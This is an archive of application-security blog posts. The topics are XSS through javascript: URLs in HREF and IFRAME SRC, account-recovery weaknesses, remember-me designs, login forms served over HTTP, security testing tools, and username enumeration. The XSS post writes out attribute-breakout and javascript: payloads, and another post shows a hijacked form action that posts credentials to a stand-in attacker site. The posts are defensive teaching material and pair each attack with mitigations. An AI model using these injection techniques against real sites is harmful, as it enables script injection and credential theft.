Tag Archives: qa

JavaScript in an HREF or SRC Attribute

The anchor (<a>) HTML tag is commonly used to provide a clickable link for a user to navigate to another page. Did you know it is also possible to set the HREF attribute to execute JavaScript. A common technique is to use the onclick event of the anchor tab to execute a JavaScript method when the user clicks the link. However, to stop the browser from actually redirecting the HREF can be set to javascript:void(0);. This cancels the HREF functionality and allows the JavaScript from the onclick to execute as expected.

In the above example, notice that the HREF is set with a value starting with “javascript:”. This identifier tells the browser to execute the code following that prefix. For those that are security savvy, you might be thinking about cross-site scripting when you hear about executing JavaScript within the browser. For those of you that are new to security, cross-site scripting refers to the ability for an attacker to execute unintended JavaScript in the context of your application (https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)).

I want to walk through a simple scenario of where this could be abused. In this scenario, the application will attempt to track the page the user came from to set up where the Cancel button will redirect to. Imagine you have a list page that allows you to view details of a specific item. When you click the item it takes you to that item page and passes a BackUrl in the query string. So the link may look like:

https://developsec.com/item.php?backUrl=/items.php

On the page, there is a hyperlink created that sets the HREF to the backUrl property, like below:

<a href=”<?php echo $_GET[“backUrl”];?>”>Back</a>

When the page executes as expected you should get an output like this:

<a href=”/items.php”>Back</a>

There is a big problem though. The application is not performing any type of output encoding to protect against cross-site scripting. If we instead pass in backUrl=”%20onclick=”alert(10); we will get the following output:

<a href=”” onclick=”alert(10);“>Back</a>

In the instance above, we have successfully inserted the onclick event by breaking out of the HREF attribute. The bold section identifies the malicious string we added. When this link is clicked it will prompt an alert box with the number 10.

To remedy this, we could (or typically) use output encoding to block the escape from the HREF attribute. For example, if we can escape the double quotes (” -> &quot; then we cannot get out of the HREF attribute. We can do this (in PHP as an example) using htmlentities() like this:

<a href=”<?php echo htmlentities($_GET[“backUrl”],ENT_QUOTES);?>”>Back</a>

When the value is rendered the quotes will be escapes like the following:

<a href=”&quot; onclick=&"alert(10);“>Back</a>

Notice in this example, the HREF actually has the entire input (in bold), rather than an onclick event actually being added. When the user clicks the link it will try to go to https://www.developsec.com/” onclick=”alert(10); rather than execute the JavaScript.

But Wait… JavaScript

It looks like we have solved the XSS problem, but there is a piece still missing. Remember at the beginning of the post how we mentioned the HREF supports the javascript: prefix? That will allow us to bypass the current encodings we have performed. This is because with using the javascript: prefix, we are not trying to break out of the HREF attribute. We don’t need to break out of the double quotes to create another attribute. This time we will set backUrl=javascript:alert(11); and we can see how it looks in the response:

<a href=”javascript:alert(11);“>Back</a>

When the user clicks on the link, the alert will trigger and display on the page. We have successfully bypassed the XSS protection initially put in place.

Mitigating the Issue

There are a few steps we can take to mitigate this issue. Each has its pros and many can be used in conjunction with each other. Pick the options that work best for your environment.

  • URL Encoding – Since the HREF is meant to be a URL, you could perform URL encoding. URL encoding will render the javascript benign in the above instances because the colon (:) will get encoded. You should be using URL encoding for URLs anyway, right?
  • Implement Content Security Policy (CSP) – CSP can help limit the ability for inline scripts to be executed. In this case, it is an inline script so something as simple as ‘Content-Security-Policy:default-src ‘self’ could be sufficient. Of course, implementing CSP requires research and great care to get it right for your application.
  • Validate the URL – It is a good idea to validate that the URL used is well formed and pointing to a relative path. If the system is unable to parse the URL then it should not be used and a default back URL can be substituted.
  • URL White Listing – Creating a white list of valid URLs for the back link can be effective at limiting what input is used by the end user. This can cut down on the values that are actually returned blocking any malicious scripts.
  • Remove javascript: – This really isn’t recommended as different encodings can make it difficult to effectively remove the string. The other techniques listed above are much more effective.

The above list is not exhaustive, but does give an idea of ways to help reduce the risk of JavaScript within the HREF attribute of a hyper link.

Iframe SRC

It is important to note that this situation also applies to the IFRAME SRC attribute. it is possible to set the SRC of an IFRAME using the javascript: notation. In doing so, the javascript executes when the page is loaded.

Wrap Up

When developing applications, make sure you take this use case into consideration if you are taking URLs from user supplied input and setting that in an anchor tag or IFrame SRC.

If you are responsible for testing applications, take note when you identify URLs in the parameters. Investigate where that data is used. If you see it is used in an anchor tag, look to see if it is possible to insert JavaScript in this manner.

For those performing static analysis or code review, look for areas where the HREF or SRC attributes are set with untrusted data and make sure proper encoding has been applied. This is less of a concern if the base path of the URL has been hard-coded and the untrusted input only makes up parameters of the URL. These should still be properly encoded.

MySpace Account Takeover – Take-aways

Have you ever forgotten your password, or lost access to your accounts? I know I have. The process of getting your access back can range from very easy to quite difficult. In one case, I had an account that required that a pin code be physically mailed to me in 7-10 days. Of course, this was a financial account that required extra protections.

I came across this article (https://www.wired.com/story/myspace-security-account-takeover/) that identified that MySpace’s process for regaining access to an account was easily by-passable with just a few pieces of information that is commonly easily found.

According to the issue reported, the following details were needed to gain control of an account:

  • Account Holder’s Name
  • UserName
  • Date of Birth

In addition, the email address was part of the form, but was not actually validated.

With the amount of information available on social media platforms, and even though past breaches, it is very difficult to come up with good questions to help validate a user is who they say they are. In this case, the first 2 pieces of information are reportedly available on a user’s account page and are not difficult to find. It is critical that we give great consideration to the way we attempt to validate a user’s identity.

Security or secret questions have been known to be weak for a long time. While they can help provide some assistance in identifying the user, they should not be used alone. One recommendation is to include a side channel for some verification. For example, requiring a user to receive an email at the address on record before answering these questions helps reduce some of the risk. This method now requires that an attacker gain access to the user’s email account to receive a temporary account reset link. Although this is possible, it adds another hurdle to help protect the user’s account.

Similarly, you could look to send a code to a phone number that is currently on record. Like email, it would then require the interception of the phone message, adding difficulty to the process. One of the points here is that you only want to send to email or phone that is already on record. Never allow the user to provide a new email address or phone number as they could add an untrusted phone number and easily take over the account.

There was another piece of this that should be considered, the unvalidated email address. The request for the email address in this reset process may have been meant as another verification of account information. However, as commonly seen, the value wasn’t actually validated on the server. This is an easy oversight to make when working with web forms.

Remember that validation should always be performed on the server. This is because it is simple to bypass client-side validation with the use of simple add-ins or a web proxy.

Validation of data fields should be a standard part of QA testing. Ensure that when testing forms, such as the account recovery, that the form reacts accordingly with many types of inputs. This includes what happens if a field is not provided or if it does not line up with the expected answer. This same situation has been seen on other sites where the current password may be required to update the password, but is not actually verified.

These types of stories help remind us to review these types of functions and features within our application. For older applications, it may have been a while since we have touched these features and how they were designed initially is no longer recommended. Take a moment to look back at your account recovery process to make sure it is up to par with your current requirements.

Looking for some help with your application security program? Just want someone to talk to about these types of topics? Reach out to us. We are here to help and offer a wide range of services to help make your day easier. Reach out to james@developsec.com for more information.

Remember Me Features

Tired of constantly logging into your applications? Don’t you wish they would just remember you each time you visit, logging you right in? It isn’t as always easy to achieve such a status. There are multiple ways remember me can be implemented. Lets take a look at some of them.

Remember UserName

One of the most common ways for a site to implement the remember me functionality is to remember the username only. The username is typically stored in a cookie on the client’s computer. Remembering the username helps speed up the authentication process, but doesn’t eliminate it. The user still has to enter their password to gain access to the application. Although this is a common technique, some organizations may have data classification policies that don’t allow displaying the username in the application. This can also carry over to the username and the login screen. For these organizations, they may not implement a remember me feature at all. Remembering the username does contain some risk, as it instantly provides the username to an attacker on the user’s computer. This leaves just the password for the attacker to determine, which may be feasible if the user re-uses passwords that have been previously breached.

Long-term Auth Cookies

Another common technique for remembering a user is to set an authentication cookie that has a long life. Once you login, a cookie is created that may not expire for a year or longer. This allows you to be automatically logged in each time you visit the site. I am sure you can think of a few sites that provide this functionality. It is common among some of the social media sites people visit all the time. This is not recommended for any type of sensitive applications because it would allow immediate access to anyone that gains access to the user’s device.

Storing Password Locally (Remember Password)

Another option, that probably shouldn’t be an option, is storing the password on the user’s computer. This was recently seen on a web application, however we won’t mention the site that did this. We can, however learn from their decisions. In the application, they used CryptoJS to encrypt and decrypt this type of sensitive data. In this case, they stored the password in a cookie. With the encryption routines available on the client, it is possible to use them to decrypt the encrypted password with very little effort. This is typically the case any time the routines are made available, especially if the keys are available as well. While I am sure this was done with good intentions, the implementation is not very secure. As a matter of fact, it provides more of a false sense of security. This is most likely due to the use of encryption. It is not recommended to perform this type of encryption client-side, nor is it recommended to store the user’s password on the client like this.

What Next?

There are multiple options to help ease the burden of frequently logging into an application. Depending on the type of application, data stored, and sensitivity of the transactions, the options should be considered carefully. Providing the option to remember a username is convenient with some residual risk. Keeping a user logged in for extended periods of time increase the risk, but may be acceptable depending on the application and its use. Stay away from storing the user’s password locally on the computer they are using. Secure implementation is not easy or straightforward, increasing the risk levels.


Jardine Software helps companies get more value from their application security programs. Let’s talk about how we can help you. James Jardine is the CEO and Principal Consultant at Jardine Software Inc. He has over 15 years of combined development and security experience. If you are interested in learning more about Jardine Software, you can reach him at james@jardinesoftware.com or @jardinesoftware on twitter.

Introducing our Slack channel

It is a new year and time for some new ways for all of us to communicate. We appreciate all that have read the posts and listened to the podcast. Both of these will continue to move forward in 2017 with some new material on the way.

We are happy to announce we have started a Slack channel. You can find it at developsec.slack.com. The blog and podcasts have been great in providing information in a read-only manner. Slack is an opportunity to open up more conversation and create more dialog. A chance for us all to share stories and work out problems.

The channel is dedicated to application security topics. This means web, mobile, IoT, and whatever else is running applications. The goal is to provide a mechanism to bring application security into our everyday life. If you are interested in being a part of the DevelopSec Slack group, just drop me a line at james@jardinesoftware.com. I will send you out an invite.

DevelopSec encourages developers, business analysts, QA, and other application team members to take part in this great new opportunity.

Here is to 2017. A new year with new opportunities. As always, feel free to reach out to discuss AppSec.

Login Forms and HTTP

Does your application have a login form? Do you deliver it over HTTPS to protect the username and password while being transmitted to the server? If you answered yes to both of those questions, are you sure?

Many years ago, before there was a huge push for HTTPS all the time, it was common practice for many applications to load a login form using HTTP, but then submit the form over HTTPS. This was accomplished by setting the action attribute of the form to the full HTTPS version of the site.

<form action=”https://www.somesite.com/login” method=”post”>

There was a flaw in this setup. The flaw is not even with the submission of your credentials. Instead, the issue is how that login form is initially loaded. Remember we said that the initial request was HTTP? The belief was that because the loading of the form doesn’t transmit any sensitive data, it would be ok to use HTTP. You could even take a trip back to the performance wars during that time stating that HTTP was much faster to load. (We learned a lot of the years).

The problem is that if there is a malicious user (attacker) on your same network that is able to redirect your traffic through them they could manipulate the initial load of the page. Imagine if the attacker intercepted your request to the login page (initial load) and changed the action of the form to a different site?

<form action=”http://myevilsite.com/login” method=”post”>

Notice how the new form submission will go to a different site, not even using HTTPS. From the end user’s point of view they wouldn’t even know the form was going to send their credentials to a different site.

Over the years, we have seen the use of this methodology shrinking down. Many sites are now loading their login forms all over HTTPS. As a matter of fact, many sites are 100% HTTPS.

But Wait!!

There is another angle to this that is often overlooked, but works very similar. Does your site allow it to be loaded into frames? I have seen a lot of sites that have been including another application’s login form using either frame sets or frames. The issue, the container site is often a simple marketing or branding site and runs over HTTP.

Like the above example, the HTTP site is including a frame reference to an HTTPS site. Again, the login form submission is still correct. However, it is possible that the attacker from the previous scenario could intercept the containing page and change the reference for the login frame. In this case, the attacker would most likely create a page that is identical to the real login form and point the frame to that one. The user would have no idea that the authentication page was incorrect, because it would look like the original. When the user submits their credentials, they would then be submitted to the malicious user instead of the real site.

It is recommended to not allow your site to be hosted within a sub frame. There are plenty of articles that discuss frame busting techniques and you could look into the X-Frame-Options header as well. If your form doesn’t load in a frame then your risk of being included on a non-secure site is reduced. For all other scenarios, there isn’t a lot of reason to not be using HTTPS from end to end. By securing all of the transactions, it reduces the risk that an attacker can easily manipulate that traffic.

Does SAST and DAST Really Require Security Experts To Run Them?

There is no argument that automated tools help quickly identify many of the vulnerabilities found in applications today. Tools are typically categorized into one of the following three categories:

  • Dynamic Application Security Testing (DAST) – analyzes the running application.
  • Static Application Security Testing (SAST) – analyzes the source or byte code of the application.
  • Interactive Application Security Testing (IAST) – uses agents installed on the web server to instrument the application and analyze it at runtime. This gives access to both dynamic and static details.

These tools are becoming more popular within organizations as part of their application security programs. While there is still a large gap that can only be filled by manual testing, the automated tools are a good first step.

Are these security tools or development tools?

This depends on what your goal is. Ultimately, they are focused on finding security flaws which make them a “security” tool, however that doesn’t mean it is meant for the security team. I have been presenting for a long time on the idea that many of these tools should be considered development tools and placed in the hands of development and QA. To understand where they fit in your organization, you have to understand how you want to use them.

The application team should be using these tools to help quickly identify security bugs earlier on in the SDLC. To make this work efficiently, this should be considered a development tool. Let’s look at how SAST is used by developers. Developers have the ability to scan their source code using their chosen SAST tool. In many cases, these tools may provide an IDE plugin to make the process easier. As the developer writes their code, they can perform regular scans in smaller increments to quickly identify potential security threats. Once identified, the code can be corrected before it even leaves the development queue. In other instances, SAST is embedded into the continuous integration pipeline and scans can be run on check-in or other predefined activities. The results are immediately available to the development teams to review and make corrections.

The security team should be using these tools differently than the development teams. Security is typically more interested in the risk an application presents to the application. In the use of these tools, they provide valuable information that can be reported on to help analyze that risk. The security team should also be involved in the creation of policies and procedures around the implementation and use of the tools provided.

I thought only security experts can run these tools?

I believe this is a myth that only security experts can run these types of tools. Developers have long had static analysis tools built right into their IDEs, they just didn’t have a focus for security flaws. QA groups use all sorts of automated tools to assist in application testing. Lets take a look at each of the tool categories again.

DAST

Dynamic scanners usually require at minimum three pieces of information to get started: URL, Username, Password. Most of these scanners are either a windows or web application with a GUI. Setting up a scan is usually not to complex and fairly straightforward. I will admit that some applications, depending on how the login works or how routing is configured, can require a more complex setup. Depending on the scanner, you may be able to perform other advanced settings, but these are not difficult to learn.

Once the scan has completed, the results are provided in a GUI as well. The GUI typically provides a simple way to then view each of the findings identified, including the request and response the scanner sent and received. In dynamic scanning, the request and response are helpful in identifying where the issue is in the application. The tool will also usually provide a description of the vulnerability and references to more information. Based on my experience, reviewing findings in the provided GUI is much more efficient than trying to review an exported PDF of the results. A GUI that provides easy navigation is much better received than a 100-200 page PDF report that can’t really be consumed.

Dynamic scanning fits right into the QA process of scanners and can be easily executed by the QA or development team. This is good, because it can be executed against the QA or other pre-prod instances which are owned by the QA and development groups.

SAST

Static scanners analyze your binaries or source code. As expected, they need either the source code itself, or a compiled version of the code. Depending on the tool, you may have to submit the binaries to a service or select them using a local interface. The most difficult part in the process is usually getting the code to compile correctly with debug symbols and components. This compilation is usually done by the development team or DevOps if that has been implemented.

Once the scan is complete, the results are provided either in a web interface or in a local GUI. These results can then be inspected to view details about the issue, just like in the DAST solutions. The big difference being that in SAST you won’t see a request/response, rather you see the file and line of code indicated as well as the source and sink of the vulnerability. The source and sink help trace the data as it passes through the application to the vulnerable line of code. This is useful in helping understand the vulnerability to resolve it. There is a lot of efficiency gained in being able to view these details in a simple manner. The other option is exporting the results to a PDF file which is very inefficient.

Due to the results referencing source code, developers are put into an environment they understand. With some understanding of how security flaws work and are addressed, developers can review the results and take appropriate actions to address them.

IAST

Interactive testing uses an agent on the web server to instrument the application. Basically, it injects code into the application to analyze it as it runs. Due to performance hits, this is a great tool for pre-production environments. It also relies on the code being executed.. basically, if your application is not being used, it won’t analyze the code. This also makes it great for a QA environment or regression testing environment. The setup just requires installing the agent onto the server. The results are displayed, as they are found, in a web interface. These results include the source code and the request/response values. Having direct access to the tool provides an efficient way to view the details to then provide remediations to them.

Review how you use these tools

It has been my experience that more than just security experts can run any of these tools. There may be some tweaking that can be done and requires learning how the tools works, but this is something anyone on the dev or QA teams can adapt to. Take a look at your current program. If you are using any of these tools, look at how you are using them and who has access. Is your current process efficient? Does it make it harder than it needs to be? If you are not using these tools and looking to implement any of them, look at the resources you have and get the development teams involved. Think about where you want these tools to sit and how you want to take advantage of them. They don’t have to be locked down to a security team. Use the resources you have and allow the application teams to take ownership of the tools that will help them create more secure applications.

Jardine Software helps companies get more value from their application security programs. Let’s talk about how we can help you.

James Jardine is the CEO and Principal Consultant at Jardine Software Inc. He has over 15 years of combined development and security experience. If you are interested in learning more about Jardine Software, you can reach him at james@jardinesoftware.com or @jardinesoftware on twitter.

How Serious is Username Enumeration

Looking through Twitter recently, I caught a very interesting stream that started with the following message:

There were quite a few replies, and a good discussion on the topic of the seriousness of username enumeration flaws. 140 characters is difficult to share a lot of thoughts, so I thought this would actually be a great post.

What is Username Enumeration?

Username Enumeration refers to the ability to determine not only if a username is valid within a specific application, but also to automate the process of identifying a multiple valid usernames. The most common example of username harvesting is on the application logon form. The culprit, the unsuccessful login error message. This happens because the application creators want to be helpful and let the user know what went wrong. When the message is not generic, for example “unsuccessful login”, it may indicate if the user exists or not. An example message would be “Username does not exist”. This is bad. A better response would be “Username or password are incorrect”. This is a much more generic answer and doesn’t give away whether or not the username is valid.

Where do we find Username Enumeration?

As I mentioned above, the login screen is one of the most common locations we find username harvesting. However, it is not the only place. Probably the two next biggest offenders are the Forgot Password screen and the User Registration screen. With all three of these screens, it is critical to realize that the display message is not the only way to detect username harvesting. In reality, it is any difference that comes back between an invalid and a valid user. This could be the error message, a status code that is different, timing attacks, or a myriad of other techniques. Don’t just think about the error message. That one is typically the easiest, but not the only method for identification. API calls may also be a source for username harvesting.

The Login Form

The login form is typically vulnerable through the error message. To help protect the login form, make sure that the application returns a generic error message for any error situation. A good example of this is “Your login attempt was unsuccessful. If you continue to have trouble, contact support.” This message is good for invalid username, invalid password, and even account lockout.

The Forgot Password Form

The forgot password screen is usually vulnerable due to poor forget password design. Most systems ask for the username/email address and if correct, do one of the following: 1) Ask for secret security questions, 2) Display a message that an email has been sent to the email address on record. Unfortunately, for an incorrect username, the system returns an error message that the username was not found. To correct this problem, it is possible to either ask for more than just the username (something that is private to the account), or just always display the “email has been sent” message. In this configuration, no matter what, the email is sent form is displayed.

The Registration Form

The registration screen is a bit more tricky because, in most situations, you need to be able to alert the user that their username is already in use. Unlike the other two scenarios, the error message can’t really be fixed. One option on a registration screen is to enable the use of a CAPTCHA to attempt preventing automation attacks. If implemented properly the attacker would be slowed down in their enumeration making things more difficult. It may not make it impossible, but the goal is to reduce the risk.

How is Username Enumeration Used?

There are a few ways that username enumeration becomes important to an attacker. First, it is a good technique to limit down the list of possible usernames to attempt password attacks on. One example on twitter gave the example of taking a list of 100 million usernames and reducing it to 100 thousand to perform actual password guessing on. In this scenario, the attackers are also attempting to take advantage of weak password complexity, or just bad password hygiene. Often times, they may take the top 3 or 4 common passwords and try those against all of the valid usernames to see if anyone is using them.

The second way that username enumeration is used is for social engineering attacks. Or, at least, more targeted social engineering attacks. If the attacker knows that the user has an account on a specific application, it can make phone calls and emails much more convincing and ultimately more successful. Limiting emails to 100,000 users rather than 100 million helps reduce the overhead and reduces the chances of getting detected.

Somewhat related to social engineering attacks, this information could also be used to target individuals based on moral values. Remember the Ashley Madison breach that happened a while back. Depending on what the username is in use, it may be possible to identify people that use a particular site and sort of out them, or blackmail them. Think of other sites people may not want to be public about visiting.

How Serious is it?

I bet you didn’t think we would ever get here. It is important to understand how the attackers may be using a vulnerability to start to determine how serious it really is. Unfortunately, there isn’t an easy answer that fits every application. As I mentioned above, with poor password hygiene, the risk would be raised if someone is using one of those top 4 passwords. It also depends on the type of system, the type of data collected, the functionality the application performs, etc. No systems are created or rated equally.

In the scenario above for the login screen guessing the top 4 passwords, let’s not forget that it is possible to try all 100 million usernames from our list. Sure, it is helpful to reduce it down to only valid usernames, but the attack is still possible without the username enumeration flaw. In the ideal setup, the application would have some form of detection system in place that might detect all of the unsuccessful login attempts, but that is the ideal. It is not common enough to see that type of detection implemented in many applications. Without that detection, and a little crafty rate limiting by an attacker, the difference between 100 million attempts and 100,000 attempts is really just time.

As we all know, social engineering attacks are the latest and greatest. Any help we provide attackers in that arena is a step backwards for us. This could lead to a bigger problem and that is why we need to understand the issues we are trying to solve.

Should we fix it?

If we had all the time and resources in the world, the answer would be an easy “yes”. Unfortunately, we don’t have that. This really comes down to your organization’s risk assessments and priorities. I always like to provide the recommendation to resolve the issue, as it makes for a better application overall. Depending on your situation, the fix may not be straight forward or easy. You may have other higher priority items that need to be worked on. Remember, for the password attack, it is really a combination of a weak password issue as well. It is not just username harvesting on its own.

Take the opportunity to review how you are auditing and logging these types of events within your application. In some cases we may see logging occurring, but then there is no auditing of those logs. Detection and response is critical in helping reduce the risk of these types of flaws.

Continuing Forward

Username enumeration is a risk to any application. It is up to the organization to understand their business to determine how big or small that risk is. This isn’t something that should just be ignored, but it also doesn’t mean it is something that is a critical finding. Don’t just write the finding off. Use that as an opportunity to discuss the functionality, understand how it works, and determine the best course of action for the organization and the users.

Username enumeration is typically fairly simple to test for and should be worked into the QA testing cycle. Take the time to discuss with the architects, developers, business analysts, and the testers how the organization can test for this and reduce the risk.

Jardine Software helps companies get more value from their application security programs. Let’s talk about how we can help you.

James Jardine is the CEO and Principal Consultant at Jardine Software Inc. He has over 15 years of combined development and security experience. If you are interested in learning more about Jardine Software, you can reach him at james@jardinesoftware.com or @jardinesoftware on twitter.

Application Security and Responsibility

Who is responsible for application security within your organization? While this is something I don’t hear asked very often, when I look around the implied answer is the security team. This isn’t just limited to application security either. Look at network security. Who, in your organization, is responsible for network security? From my experience, the answer is still the security group. But is that how it should be? Is there a better way?

Security has spent a lot of effort to take and accept all of this responsibility. How often have you heard that security is the gate keeper to any production releases? Security has to test your application first. Security has to approve any vulnerabilities that may get accepted. Security has to ….

I won’t argue that the security group has a lot of responsibility when it comes to application security. However, they shouldn’t have all of it, or even a majority of it. If we take a step back for a moment, lets think about how applications are created. Applications are created by application teams which consist of app owners, business analysts, developers, testers, project managers, and business units. Yet, when there is a security risk with the application it is typically the security group under fire. The security group typically doesn’t have any ability to write or fix the application, and they shouldn’t. There is a separation, but are you sure you know where it is?

I have done a few presentations recently where I focus on getting application teams involved in security. I think it is important for organizations to think about this topic because for too long we have tried to separate the duties at the wrong spot.

The first thing I like to point out is that the application development teams are smart, really smart. They are creating complex business functions that drive most organizations. We need to harness this knowledge rather than trying to augment it with other people. You might find this surprising, but most application security tools have GUIs that anyone on your app dev teams can use with little experience. Yet, most organizations I have been into have the security group running the security tools (such as Veracode, Checkmarx, WhiteHat, Contrast, etc). This is an extra layer that just decreases the efficiency of the process.

By getting the right resources involved with some of these tools and tasks, it not only gets security closer to the source, but it also frees up the security team for other activities. Moving security into the development process increases efficiency. Rather than waiting on a scan by the security team, the app team can run the scans and get the results more quickly. Even better, they can build it into their integration process and most likely automate much of the work. This changes the security team to be reserved for the more complex security issues. It also makes the security team more scalable when they do not have to just manage tools.

I know what you are thinking.. But the application team doesn’t understand security. I will give it to you, in may organizations this is very true. But why? Here we have identified what the problem really is. Currently, security tries to throw tools at the issue and manage those tools. But the real problem is that we are not focusing on maturing the application teams. We attempt to separate security from the development lifecycle. I did a podcast on discussing current application security training for development teams.

Listen to the podcast on AppSec Training

Everyone has a responsibility for application security, but we need to put a bigger focus on the application teams and getting them involved. We cannot continue to just hurl statements about getting these teams involved over the fence. We say to implement security into the SDLC, but rarely are we defining these items. We say to educate the developers, but typically just provide offensive security testing training, 1-2 days a year. We are not taking the time to identify how they work, how their processes flow, etc. to determine how to address the problem.

Take a look at your program and really understand it. What are you currently doing? Who is performing what roles? What resources do you have and are you using them effectively? What type of training are you providing and is it effective regarding your goals?

James Jardine is the CEO and Principal Consultant at Jardine Software Inc. He has over 15 years of combined development and security experience. If you are interested in learning more about Jardine Software, you can reach him at james@jardinesoftware.com or @jardinesoftware on twitter.

Originally posted at https://www.jardinesoftware.com

Understanding the “Why”

If I told you to adjust your seat before adjusting your mirror in your car, would you just do it? Just because I said so, or do you understand why there is a specific order? Most of us retain concepts better when we can understand them logically.

Developing applications requires a lot of moving pieces. An important piece in that process is implementing security controls to help protect the application, the company, and the users. In many organizations, security is heavily guided by an outside group, i.e.. the security group or 3rd party testers.

Looking at an external test, or even a test by an internal security team, often the result is a report containing findings. These findings typically include a recommendation to guide the application team in a direction to help reduce or mitigate the finding. In my experience, the recommendations tend to be pretty generic. For example, a username harvesting flaw may come with a recommendation to return the same message for both valid and invalid user names. In most cases, this is a valid recommendation as it is the reason for the flaw.

But Why? Why does it matter?

Working with application teams, it quickly becomes clear the level of understanding regarding security topics. The part that is often missing is the Why. Sure, the team can implement a generic message (using the username harvesting flaw above) and it may solve the finding. But does it solve the real issue? What are the chances that when you come back and test another app for this same development team that the flaw may exist somewhere else? When we take the time to really explain why this finding is a concern, how it can be abused, and start discussing ways to mitigate it, the team gets better. Push aside the “sky is falling” and take the time to understand the application and context.

As security professionals we focus too much on fixing a vulnerability. Don’t get me wrong, the vulnerability should be fixed, but we are too focused. Taking a step back allows us to see a better approach. It is much more than just identifying flaws. It is about getting the application teams to understand why they are flaws (not just because security said so) so they become a consideration in future development. This includes the entire application team, not just developers. Lets look at another example.

An Example

Let’s say that you have a change password form that doesn’t require the current password. As a security professional, your wheels are probably spinning. Thinking about issues like CSRF. From a development side, the typical response “Why do I need to input my password when I just did that to login to change my password?” While the change will most likely get made, because security said it had too, there is still a lack of understanding from the application team. If CSRF was your first reason, what if they have CSRF protections already in place? Do you have another reason? What about if the account is hijacked somehow, or a person sits at the user’s desk and they forgot to lock their PC? By explaining the reasoning behind the requirement, it starts to make sense and is better received. It dominos into a chance that the next project that is developed will take this into consideration.

When the business analysts sits down to write the next change password user story, it will be a part of it. Not because security said so, but because they understand the use case better and how to protect it.

If you are receiving test results, take the time to make sure you understand the findings and the WHY. It will help providing a learning objective as well as reduce the risk of not correcting the problem. Understand how the issue and remediation effects your application and users.

James Jardine is the CEO and Principal Consultant at Jardine Software Inc. He has over 15 years of combined development and security experience. If you are interested in learning more about Jardine Software, you can reach him at james@jardinesoftware.com or @jardinesoftware on twitter.

Originally posted at https://www.jardinesoftware.com

Does the End of an Iteration Change Your View of Risk?

You have been working hard for the past few weeks or months on the latest round of features for your flagship product. You are excited. The team is excited. Then a security test identifies a vulnerability. Balloons deflate and everyone starts to scramble.

Take a breath.

Not all vulnerabilities are created equal and the risk that each presents is vastly different. The organization should already have a process for triaging security findings. That process should be assessing the risk of the finding to determine its impact on the application, organization, and your customers. Some of these flaws will need immediate attention. Some may require holding up the release. Some may pose a lower risk and can wait.

Take the time to analyze the situation.

If an item is severe and poses great risk, by all means, stop what you are doing and fix it. But, what happens when the risk is fairly low. When I say risk, I include in that the ability for it to be exploited. The difficulty to exploit can be a critical factor in what decision you make.

When does the risk of remediation override the risk of waiting until the next iteration?

There are some instances where the risk to remediate so late in the iteration may actually be higher than waiting until the next iteration to resolve the actual issue. But all security vulnerabilities need to be fixed, you say? This is not an attempt to get out of doing work or not resolve issues. However, I believe there are situations where the risk of the exploit is less than the risk of trying to fix it in a chaotic, last minute manner.

I can’t count the number of times I have seen issues arise that appeared to be simple fixes. The bug was not very serious and could only be exploited in a very limited way. For example, the bug required the user’s machine to be compromised to enable exploitation. The fix, however, ended up taking more than a week due to some complications. When the bug appeared 2 days before code freeze there were many discussions on performing a fix, and potentially holding up the release, and moving the remediation to the next iteration.

When we take the time to analyze the risk and exposure of the finding, it is possible to make an educated decision as to which risk is better for the organization and the customers. In this situation, the assumption is that the user’s system would need to be compromised for the exploit to happen. If that is true, the application is already vulnerable to password sniffing or other attacks that would make this specific exploit a waste of time.

Forcing a fix at this point in the game increases the chances of introducing another vulnerability, possibly more severe than the one that we are trying to fix. Was that risk worth it?

Timing can have an affect on our judgement when it comes to resolving security issues. It should not be used as an escape goat or reason not to fix things. When analyzing the risk of an item, make sure you are also considering how that may affect the environment as a whole. This risk may not be directly with the flaw, but indirectly due to how it is fixed. There is no hard and fast rule, exactly the reason why we use a risk based approach.

Engage your information security office or enterprise risk teams to help with the analysis. They may be able to provide a different point of view or insight you may have overlooked.